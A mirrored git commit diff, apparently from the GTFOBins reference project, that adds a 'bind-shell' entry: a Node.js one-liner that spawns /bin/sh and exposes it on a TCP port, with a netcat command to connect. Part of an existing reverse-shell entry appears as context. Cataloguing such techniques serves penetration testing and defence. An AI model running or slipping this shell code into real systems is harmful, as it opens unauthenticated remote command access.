mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
Add node bind shell
This commit is contained in:
parent
ac79267e7e
commit
414ee88fd8
@ -20,4 +20,14 @@ functions:
|
|||||||
sh.stdout.pipe(this);
|
sh.stdout.pipe(this);
|
||||||
sh.stderr.pipe(this);
|
sh.stderr.pipe(this);
|
||||||
});'
|
});'
|
||||||
|
bind-shell:
|
||||||
|
- description: Run `nc 10.0.0.1 12345` to connect to the shell on the other end.
|
||||||
|
code: |
|
||||||
|
export LPORT=12345
|
||||||
|
node -e 'sh = require("child_process").spawn("/bin/sh");
|
||||||
|
require("net").createServer(function (client) {
|
||||||
|
client.pipe(sh.stdin);
|
||||||
|
sh.stdout.pipe(client);
|
||||||
|
sh.stderr.pipe(client);
|
||||||
|
}).listen(process.env.LPORT);'
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user